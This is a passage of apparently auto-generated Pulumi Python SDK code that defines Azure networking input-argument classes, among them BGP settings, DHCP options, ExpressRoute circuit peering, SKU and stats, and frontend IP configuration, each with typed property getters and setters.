def __init__(__self__, *,
asn: Optional[pulumi.Input[float]] = None,
bgp_peering_address: Optional[pulumi.Input[str]] = None,
peer_weight: Optional[pulumi.Input[int]] = None):
"""
:param pulumi.Input[float] asn: Gets or sets this BGP speaker's ASN
:param pulumi.Input[str] bgp_peering_address: Gets or sets the BGP peering address and BGP identifier of this BGP speaker
:param pulumi.Input[int] peer_weight: Gets or sets the weight added to routes learned from this BGP speaker
"""
if asn is not None:
pulumi.set(__self__, "asn", asn)
if bgp_peering_address is not None:
pulumi.set(__self__, "bgp_peering_address", bgp_peering_address)
if peer_weight is not None:
pulumi.set(__self__, "peer_weight", peer_weight)
@property
@pulumi.getter
def asn(self) -> Optional[pulumi.Input[float]]:
"""
Gets or sets this BGP speaker's ASN
"""
return pulumi.get(self, "asn")
@asn.setter
def asn(self, value: Optional[pulumi.Input[float]]):
pulumi.set(self, "asn", value)
@property
@pulumi.getter(name="bgpPeeringAddress")
def bgp_peering_address(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the BGP peering address and BGP identifier of this BGP speaker
"""
return pulumi.get(self, "bgp_peering_address")
@bgp_peering_address.setter
def bgp_peering_address(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "bgp_peering_address", value)
@property
@pulumi.getter(name="peerWeight")
def peer_weight(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets the weight added to routes learned from this BGP speaker
"""
return pulumi.get(self, "peer_weight")
@peer_weight.setter
def peer_weight(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "peer_weight", value)
@pulumi.input_type
class DhcpOptionsArgs:
def __init__(__self__, *,
dns_servers: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None):
"""
DHCPOptions contains an array of DNS servers available to VMs deployed in the virtual networkStandard DHCP option for a subnet overrides VNET DHCP options.
:param pulumi.Input[Sequence[pulumi.Input[str]]] dns_servers: Gets or sets list of DNS servers IP addresses
"""
if dns_servers is not None:
pulumi.set(__self__, "dns_servers", dns_servers)
@property
@pulumi.getter(name="dnsServers")
def dns_servers(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Gets or sets list of DNS servers IP addresses
"""
return pulumi.get(self, "dns_servers")
@dns_servers.setter
def dns_servers(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "dns_servers", value)
@pulumi.input_type
class ExpressRouteCircuitAuthorizationArgs:
def __init__(__self__, *,
authorization_key: Optional[pulumi.Input[str]] = None,
authorization_use_status: Optional[pulumi.Input[Union[str, 'AuthorizationUseStatus']]] = None,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None):
"""
Authorization in a ExpressRouteCircuit resource
:param pulumi.Input[str] authorization_key: Gets or sets the authorization key
:param pulumi.Input[Union[str, 'AuthorizationUseStatus']] authorization_use_status: Gets or sets AuthorizationUseStatus
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
if authorization_key is not None:
pulumi.set(__self__, "authorization_key", authorization_key)
if authorization_use_status is not None:
pulumi.set(__self__, "authorization_use_status", authorization_use_status)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if name is not None:
pulumi.set(__self__, "name", name)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
@property
@pulumi.getter(name="authorizationKey")
def authorization_key(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the authorization key
"""
return pulumi.get(self, "authorization_key")
@authorization_key.setter
def authorization_key(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "authorization_key", value)
@property
@pulumi.getter(name="authorizationUseStatus")
def authorization_use_status(self) -> Optional[pulumi.Input[Union[str, 'AuthorizationUseStatus']]]:
"""
Gets or sets AuthorizationUseStatus
"""
return pulumi.get(self, "authorization_use_status")
@authorization_use_status.setter
def authorization_use_status(self, value: Optional[pulumi.Input[Union[str, 'AuthorizationUseStatus']]]):
pulumi.set(self, "authorization_use_status", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@pulumi.input_type
class ExpressRouteCircuitPeeringArgs:
def __init__(__self__, *,
azure_asn: Optional[pulumi.Input[int]] = None,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
microsoft_peering_config: Optional[pulumi.Input['ExpressRouteCircuitPeeringConfigArgs']] = None,
name: Optional[pulumi.Input[str]] = None,
peer_asn: Optional[pulumi.Input[int]] = None,
peering_type: Optional[pulumi.Input[Union[str, 'ExpressRouteCircuitPeeringType']]] = None,
primary_azure_port: Optional[pulumi.Input[str]] = None,
primary_peer_address_prefix: Optional[pulumi.Input[str]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
secondary_azure_port: Optional[pulumi.Input[str]] = None,
secondary_peer_address_prefix: Optional[pulumi.Input[str]] = None,
shared_key: Optional[pulumi.Input[str]] = None,
state: Optional[pulumi.Input[Union[str, 'ExpressRouteCircuitPeeringState']]] = None,
stats: Optional[pulumi.Input['ExpressRouteCircuitStatsArgs']] = None,
vlan_id: Optional[pulumi.Input[int]] = None):
"""
Peering in a ExpressRouteCircuit resource
:param pulumi.Input[int] azure_asn: Gets or sets the azure ASN
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input['ExpressRouteCircuitPeeringConfigArgs'] microsoft_peering_config: Gets or sets the Microsoft peering config
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[int] peer_asn: Gets or sets the peer ASN
:param pulumi.Input[Union[str, 'ExpressRouteCircuitPeeringType']] peering_type: Gets or sets PeeringType
:param pulumi.Input[str] primary_azure_port: Gets or sets the primary port
:param pulumi.Input[str] primary_peer_address_prefix: Gets or sets the primary address prefix
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
:param pulumi.Input[str] secondary_azure_port: Gets or sets the secondary port
:param pulumi.Input[str] secondary_peer_address_prefix: Gets or sets the secondary address prefix
:param pulumi.Input[str] shared_key: Gets or sets the shared key
:param pulumi.Input[Union[str, 'ExpressRouteCircuitPeeringState']] state: Gets or sets state of Peering
:param pulumi.Input['ExpressRouteCircuitStatsArgs'] stats: Gets or peering stats
:param pulumi.Input[int] vlan_id: Gets or sets the vlan id
"""
if azure_asn is not None:
pulumi.set(__self__, "azure_asn", azure_asn)
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if microsoft_peering_config is not None:
pulumi.set(__self__, "microsoft_peering_config", microsoft_peering_config)
if name is not None:
pulumi.set(__self__, "name", name)
if peer_asn is not None:
pulumi.set(__self__, "peer_asn", peer_asn)
if peering_type is not None:
pulumi.set(__self__, "peering_type", peering_type)
if primary_azure_port is not None:
pulumi.set(__self__, "primary_azure_port", primary_azure_port)
if primary_peer_address_prefix is not None:
pulumi.set(__self__, "primary_peer_address_prefix", primary_peer_address_prefix)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if secondary_azure_port is not None:
pulumi.set(__self__, "secondary_azure_port", secondary_azure_port)
if secondary_peer_address_prefix is not None:
pulumi.set(__self__, "secondary_peer_address_prefix", secondary_peer_address_prefix)
if shared_key is not None:
pulumi.set(__self__, "shared_key", shared_key)
if state is not None:
pulumi.set(__self__, "state", state)
if stats is not None:
pulumi.set(__self__, "stats", stats)
if vlan_id is not None:
pulumi.set(__self__, "vlan_id", vlan_id)
@property
@pulumi.getter(name="azureASN")
def azure_asn(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets the azure ASN
"""
return pulumi.get(self, "azure_asn")
@azure_asn.setter
def azure_asn(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "azure_asn", value)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter(name="microsoftPeeringConfig")
def microsoft_peering_config(self) -> Optional[pulumi.Input['ExpressRouteCircuitPeeringConfigArgs']]:
"""
Gets or sets the Microsoft peering config
"""
return pulumi.get(self, "microsoft_peering_config")
@microsoft_peering_config.setter
def microsoft_peering_config(self, value: Optional[pulumi.Input['ExpressRouteCircuitPeeringConfigArgs']]):
pulumi.set(self, "microsoft_peering_config", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="peerASN")
def peer_asn(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets the peer ASN
"""
return pulumi.get(self, "peer_asn")
@peer_asn.setter
def peer_asn(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "peer_asn", value)
@property
@pulumi.getter(name="peeringType")
def peering_type(self) -> Optional[pulumi.Input[Union[str, 'ExpressRouteCircuitPeeringType']]]:
"""
Gets or sets PeeringType
"""
return pulumi.get(self, "peering_type")
@peering_type.setter
def peering_type(self, value: Optional[pulumi.Input[Union[str, 'ExpressRouteCircuitPeeringType']]]):
pulumi.set(self, "peering_type", value)
@property
@pulumi.getter(name="primaryAzurePort")
def primary_azure_port(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the primary port
"""
return pulumi.get(self, "primary_azure_port")
@primary_azure_port.setter
def primary_azure_port(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "primary_azure_port", value)
@property
@pulumi.getter(name="primaryPeerAddressPrefix")
def primary_peer_address_prefix(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the primary address prefix
"""
return pulumi.get(self, "primary_peer_address_prefix")
@primary_peer_address_prefix.setter
def primary_peer_address_prefix(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "primary_peer_address_prefix", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter(name="secondaryAzurePort")
def secondary_azure_port(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the secondary port
"""
return pulumi.get(self, "secondary_azure_port")
@secondary_azure_port.setter
def secondary_azure_port(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "secondary_azure_port", value)
@property
@pulumi.getter(name="secondaryPeerAddressPrefix")
def secondary_peer_address_prefix(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the secondary address prefix
"""
return pulumi.get(self, "secondary_peer_address_prefix")
@secondary_peer_address_prefix.setter
def secondary_peer_address_prefix(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "secondary_peer_address_prefix", value)
@property
@pulumi.getter(name="sharedKey")
def shared_key(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the shared key
"""
return pulumi.get(self, "shared_key")
@shared_key.setter
def shared_key(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "shared_key", value)
@property
@pulumi.getter
def state(self) -> Optional[pulumi.Input[Union[str, 'ExpressRouteCircuitPeeringState']]]:
"""
Gets or sets state of Peering
"""
return pulumi.get(self, "state")
@state.setter
def state(self, value: Optional[pulumi.Input[Union[str, 'ExpressRouteCircuitPeeringState']]]):
pulumi.set(self, "state", value)
@property
@pulumi.getter
def stats(self) -> Optional[pulumi.Input['ExpressRouteCircuitStatsArgs']]:
"""
Gets or peering stats
"""
return pulumi.get(self, "stats")
@stats.setter
def stats(self, value: Optional[pulumi.Input['ExpressRouteCircuitStatsArgs']]):
pulumi.set(self, "stats", value)
@property
@pulumi.getter(name="vlanId")
def vlan_id(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets the vlan id
"""
return pulumi.get(self, "vlan_id")
@vlan_id.setter
def vlan_id(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "vlan_id", value)
@pulumi.input_type
class ExpressRouteCircuitPeeringConfigArgs:
def __init__(__self__, *,
advertised_public_prefixes: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
advertised_public_prefixes_state: Optional[pulumi.Input[Union[str, 'ExpressRouteCircuitPeeringAdvertisedPublicPrefixState']]] = None,
customer_asn: Optional[pulumi.Input[int]] = None,
routing_registry_name: Optional[pulumi.Input[str]] = None):
"""
Specifies the peering config
:param pulumi.Input[Sequence[pulumi.Input[str]]] advertised_public_prefixes: Gets or sets the reference of AdvertisedPublicPrefixes
:param pulumi.Input[Union[str, 'ExpressRouteCircuitPeeringAdvertisedPublicPrefixState']] advertised_public_prefixes_state: Gets or sets AdvertisedPublicPrefixState of the Peering resource
:param pulumi.Input[int] customer_asn: Gets or Sets CustomerAsn of the peering.
:param pulumi.Input[str] routing_registry_name: Gets or Sets RoutingRegistryName of the config.
"""
if advertised_public_prefixes is not None:
pulumi.set(__self__, "advertised_public_prefixes", advertised_public_prefixes)
if advertised_public_prefixes_state is not None:
pulumi.set(__self__, "advertised_public_prefixes_state", advertised_public_prefixes_state)
if customer_asn is not None:
pulumi.set(__self__, "customer_asn", customer_asn)
if routing_registry_name is not None:
pulumi.set(__self__, "routing_registry_name", routing_registry_name)
@property
@pulumi.getter(name="advertisedPublicPrefixes")
def advertised_public_prefixes(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Gets or sets the reference of AdvertisedPublicPrefixes
"""
return pulumi.get(self, "advertised_public_prefixes")
@advertised_public_prefixes.setter
def advertised_public_prefixes(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "advertised_public_prefixes", value)
@property
@pulumi.getter(name="advertisedPublicPrefixesState")
def advertised_public_prefixes_state(self) -> Optional[pulumi.Input[Union[str, 'ExpressRouteCircuitPeeringAdvertisedPublicPrefixState']]]:
"""
Gets or sets AdvertisedPublicPrefixState of the Peering resource
"""
return pulumi.get(self, "advertised_public_prefixes_state")
@advertised_public_prefixes_state.setter
def advertised_public_prefixes_state(self, value: Optional[pulumi.Input[Union[str, 'ExpressRouteCircuitPeeringAdvertisedPublicPrefixState']]]):
pulumi.set(self, "advertised_public_prefixes_state", value)
@property
@pulumi.getter(name="customerASN")
def customer_asn(self) -> Optional[pulumi.Input[int]]:
"""
Gets or Sets CustomerAsn of the peering.
"""
return pulumi.get(self, "customer_asn")
@customer_asn.setter
def customer_asn(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "customer_asn", value)
@property
@pulumi.getter(name="routingRegistryName")
def routing_registry_name(self) -> Optional[pulumi.Input[str]]:
"""
Gets or Sets RoutingRegistryName of the config.
"""
return pulumi.get(self, "routing_registry_name")
@routing_registry_name.setter
def routing_registry_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "routing_registry_name", value)
@pulumi.input_type
class ExpressRouteCircuitServiceProviderPropertiesArgs:
def __init__(__self__, *,
bandwidth_in_mbps: Optional[pulumi.Input[int]] = None,
peering_location: Optional[pulumi.Input[str]] = None,
service_provider_name: Optional[pulumi.Input[str]] = None):
"""
Contains ServiceProviderProperties in an ExpressRouteCircuit
:param pulumi.Input[int] bandwidth_in_mbps: Gets or sets BandwidthInMbps.
:param pulumi.Input[str] peering_location: Gets or sets peering location.
:param pulumi.Input[str] service_provider_name: Gets or sets serviceProviderName.
"""
if bandwidth_in_mbps is not None:
pulumi.set(__self__, "bandwidth_in_mbps", bandwidth_in_mbps)
if peering_location is not None:
pulumi.set(__self__, "peering_location", peering_location)
if service_provider_name is not None:
pulumi.set(__self__, "service_provider_name", service_provider_name)
@property
@pulumi.getter(name="bandwidthInMbps")
def bandwidth_in_mbps(self) -> Optional[pulumi.Input[int]]:
"""
Gets or sets BandwidthInMbps.
"""
return pulumi.get(self, "bandwidth_in_mbps")
@bandwidth_in_mbps.setter
def bandwidth_in_mbps(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "bandwidth_in_mbps", value)
@property
@pulumi.getter(name="peeringLocation")
def peering_location(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets peering location.
"""
return pulumi.get(self, "peering_location")
@peering_location.setter
def peering_location(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "peering_location", value)
@property
@pulumi.getter(name="serviceProviderName")
def service_provider_name(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets serviceProviderName.
"""
return pulumi.get(self, "service_provider_name")
@service_provider_name.setter
def service_provider_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "service_provider_name", value)
@pulumi.input_type
class ExpressRouteCircuitSkuArgs:
def __init__(__self__, *,
family: Optional[pulumi.Input[Union[str, 'ExpressRouteCircuitSkuFamily']]] = None,
name: Optional[pulumi.Input[str]] = None,
tier: Optional[pulumi.Input[Union[str, 'ExpressRouteCircuitSkuTier']]] = None):
"""
Contains sku in an ExpressRouteCircuit
:param pulumi.Input[Union[str, 'ExpressRouteCircuitSkuFamily']] family: Gets or sets family of the sku.
:param pulumi.Input[str] name: Gets or sets name of the sku.
:param pulumi.Input[Union[str, 'ExpressRouteCircuitSkuTier']] tier: Gets or sets tier of the sku.
"""
if family is not None:
pulumi.set(__self__, "family", family)
if name is not None:
pulumi.set(__self__, "name", name)
if tier is not None:
pulumi.set(__self__, "tier", tier)
@property
@pulumi.getter
def family(self) -> Optional[pulumi.Input[Union[str, 'ExpressRouteCircuitSkuFamily']]]:
"""
Gets or sets family of the sku.
"""
return pulumi.get(self, "family")
@family.setter
def family(self, value: Optional[pulumi.Input[Union[str, 'ExpressRouteCircuitSkuFamily']]]):
pulumi.set(self, "family", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets name of the sku.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def tier(self) -> Optional[pulumi.Input[Union[str, 'ExpressRouteCircuitSkuTier']]]:
"""
Gets or sets tier of the sku.
"""
return pulumi.get(self, "tier")
@tier.setter
def tier(self, value: Optional[pulumi.Input[Union[str, 'ExpressRouteCircuitSkuTier']]]):
pulumi.set(self, "tier", value)
@pulumi.input_type
class ExpressRouteCircuitStatsArgs:
def __init__(__self__, *,
primarybytes_in: Optional[pulumi.Input[float]] = None,
primarybytes_out: Optional[pulumi.Input[float]] = None,
secondarybytes_in: Optional[pulumi.Input[float]] = None,
secondarybytes_out: Optional[pulumi.Input[float]] = None):
"""
Contains Stats associated with the peering
:param pulumi.Input[float] primarybytes_in: Gets BytesIn of the peering.
:param pulumi.Input[float] primarybytes_out: Gets BytesOut of the peering.
:param pulumi.Input[float] secondarybytes_in: Gets BytesIn of the peering.
:param pulumi.Input[float] secondarybytes_out: Gets BytesOut of the peering.
"""
if primarybytes_in is not None:
pulumi.set(__self__, "primarybytes_in", primarybytes_in)
if primarybytes_out is not None:
pulumi.set(__self__, "primarybytes_out", primarybytes_out)
if secondarybytes_in is not None:
pulumi.set(__self__, "secondarybytes_in", secondarybytes_in)
if secondarybytes_out is not None:
pulumi.set(__self__, "secondarybytes_out", secondarybytes_out)
@property
@pulumi.getter(name="primarybytesIn")
def primarybytes_in(self) -> Optional[pulumi.Input[float]]:
"""
Gets BytesIn of the peering.
"""
return pulumi.get(self, "primarybytes_in")
@primarybytes_in.setter
def primarybytes_in(self, value: Optional[pulumi.Input[float]]):
pulumi.set(self, "primarybytes_in", value)
@property
@pulumi.getter(name="primarybytesOut")
def primarybytes_out(self) -> Optional[pulumi.Input[float]]:
"""
Gets BytesOut of the peering.
"""
return pulumi.get(self, "primarybytes_out")
@primarybytes_out.setter
def primarybytes_out(self, value: Optional[pulumi.Input[float]]):
pulumi.set(self, "primarybytes_out", value)
@property
@pulumi.getter(name="secondarybytesIn")
def secondarybytes_in(self) -> Optional[pulumi.Input[float]]:
"""
Gets BytesIn of the peering.
"""
return pulumi.get(self, "secondarybytes_in")
@secondarybytes_in.setter
def secondarybytes_in(self, value: Optional[pulumi.Input[float]]):
pulumi.set(self, "secondarybytes_in", value)
@property
@pulumi.getter(name="secondarybytesOut")
def secondarybytes_out(self) -> Optional[pulumi.Input[float]]:
"""
Gets BytesOut of the peering.
"""
return pulumi.get(self, "secondarybytes_out")
@secondarybytes_out.setter
def secondarybytes_out(self, value: Optional[pulumi.Input[float]]):
pulumi.set(self, "secondarybytes_out", value)
@pulumi.input_type
class FrontendIPConfigurationArgs:
def __init__(__self__, *,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
inbound_nat_pools: Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]] = None,
inbound_nat_rules: Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]] = None,
load_balancing_rules: Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]] = None,
name: Optional[pulumi.Input[str]] = None,
outbound_nat_rules: Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]] = None,
private_ip_address: Optional[pulumi.Input[str]] = None,
private_ip_allocation_method: Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]] = None,
provisioning_state: Optional[pulumi.Input[str]] = None,
public_ip_address: Optional[pulumi.Input['PublicIPAddressArgs']] = None,
subnet: Optional[pulumi.Input['SubnetArgs']] = None):
"""
Frontend IP address of the load balancer
:param pulumi.Input[str] etag: A unique read-only string that changes whenever the resource is updated
:param pulumi.Input[str] id: Resource Id
:param pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]] inbound_nat_pools: Read only.Inbound pools URIs that use this frontend IP
:param pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]] inbound_nat_rules: Read only.Inbound rules URIs that use this frontend IP
:param pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]] load_balancing_rules: Gets Load Balancing rules URIs that use this frontend IP
:param pulumi.Input[str] name: Gets name of the resource that is unique within a resource group. This name can be used to access the resource
:param pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]] outbound_nat_rules: Read only.Outbound rules URIs that use this frontend IP
:param pulumi.Input[str] private_ip_address: Gets or sets the privateIPAddress of the IP Configuration
:param pulumi.Input[Union[str, 'IPAllocationMethod']] private_ip_allocation_method: Gets or sets PrivateIP allocation method (Static/Dynamic)
:param pulumi.Input[str] provisioning_state: Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
:param pulumi.Input['PublicIPAddressArgs'] public_ip_address: Gets or sets the reference of the PublicIP resource
:param pulumi.Input['SubnetArgs'] subnet: Gets or sets the reference of the subnet resource
"""
if etag is not None:
pulumi.set(__self__, "etag", etag)
if id is not None:
pulumi.set(__self__, "id", id)
if inbound_nat_pools is not None:
pulumi.set(__self__, "inbound_nat_pools", inbound_nat_pools)
if inbound_nat_rules is not None:
pulumi.set(__self__, "inbound_nat_rules", inbound_nat_rules)
if load_balancing_rules is not None:
pulumi.set(__self__, "load_balancing_rules", load_balancing_rules)
if name is not None:
pulumi.set(__self__, "name", name)
if outbound_nat_rules is not None:
pulumi.set(__self__, "outbound_nat_rules", outbound_nat_rules)
if private_ip_address is not None:
pulumi.set(__self__, "private_ip_address", private_ip_address)
if private_ip_allocation_method is not None:
pulumi.set(__self__, "private_ip_allocation_method", private_ip_allocation_method)
if provisioning_state is not None:
pulumi.set(__self__, "provisioning_state", provisioning_state)
if public_ip_address is not None:
pulumi.set(__self__, "public_ip_address", public_ip_address)
if subnet is not None:
pulumi.set(__self__, "subnet", subnet)
@property
@pulumi.getter
def etag(self) -> Optional[pulumi.Input[str]]:
"""
A unique read-only string that changes whenever the resource is updated
"""
return pulumi.get(self, "etag")
@etag.setter
def etag(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "etag", value)
@property
@pulumi.getter
def id(self) -> Optional[pulumi.Input[str]]:
"""
Resource Id
"""
return pulumi.get(self, "id")
@id.setter
def id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "id", value)
@property
@pulumi.getter(name="inboundNatPools")
def inbound_nat_pools(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]]:
"""
Read only.Inbound pools URIs that use this frontend IP
"""
return pulumi.get(self, "inbound_nat_pools")
@inbound_nat_pools.setter
def inbound_nat_pools(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]]):
pulumi.set(self, "inbound_nat_pools", value)
@property
@pulumi.getter(name="inboundNatRules")
def inbound_nat_rules(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]]:
"""
Read only.Inbound rules URIs that use this frontend IP
"""
return pulumi.get(self, "inbound_nat_rules")
@inbound_nat_rules.setter
def inbound_nat_rules(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]]):
pulumi.set(self, "inbound_nat_rules", value)
@property
@pulumi.getter(name="loadBalancingRules")
def load_balancing_rules(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]]:
"""
Gets Load Balancing rules URIs that use this frontend IP
"""
return pulumi.get(self, "load_balancing_rules")
@load_balancing_rules.setter
def load_balancing_rules(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]]):
pulumi.set(self, "load_balancing_rules", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Gets name of the resource that is unique within a resource group. This name can be used to access the resource
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="outboundNatRules")
def outbound_nat_rules(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]]:
"""
Read only.Outbound rules URIs that use this frontend IP
"""
return pulumi.get(self, "outbound_nat_rules")
@outbound_nat_rules.setter
def outbound_nat_rules(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['SubResourceArgs']]]]):
pulumi.set(self, "outbound_nat_rules", value)
@property
@pulumi.getter(name="privateIPAddress")
def private_ip_address(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets the privateIPAddress of the IP Configuration
"""
return pulumi.get(self, "private_ip_address")
@private_ip_address.setter
def private_ip_address(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "private_ip_address", value)
@property
@pulumi.getter(name="privateIPAllocationMethod")
def private_ip_allocation_method(self) -> Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]]:
"""
Gets or sets PrivateIP allocation method (Static/Dynamic)
"""
return pulumi.get(self, "private_ip_allocation_method")
@private_ip_allocation_method.setter
def private_ip_allocation_method(self, value: Optional[pulumi.Input[Union[str, 'IPAllocationMethod']]]):
pulumi.set(self, "private_ip_allocation_method", value)
@property
@pulumi.getter(name="provisioningState")
def provisioning_state(self) -> Optional[pulumi.Input[str]]:
"""
Gets or sets Provisioning state of the PublicIP resource Updating/Deleting/Failed
"""
return pulumi.get(self, "provisioning_state")
@provisioning_state.setter
def provisioning_state(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "provisioning_state", value)
@property
@pulumi.getter(name="publicIPAddress")
def public_ip_address(self) -> Optional[pulumi.Input['PublicIPAddressArgs']]:
"""
Gets or sets the reference of the PublicIP resource
"""
return pulumi.get(self, "public_ip_address")
@public_ip_address.setter
def public_ip_address(self, value: Optional[pulumi.Input['PublicIPAddressArgs']]):
pulumi.set(self, "public_ip_address", value)
@property
@pulumi.getter
def subnet(self) -> Optional[pulumi.Input['SubnetArgs']]:
"""
Gets or sets the reference of the subnet resource
"""
return pulumi.get(self, "subnet")
@subnet.setter
def subnet(self, value: Optional[pulumi.Input['SubnetArgs']]):
pulumi.set(self, "subnet", value)
@pulumi.input_type
class IPConfigurationArgs:
def __init__(__self__, *,
etag: Optional[pulumi.Input[str]] = None,
id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
private_ip_address: Optional[pulumi.Input[str]] = None,
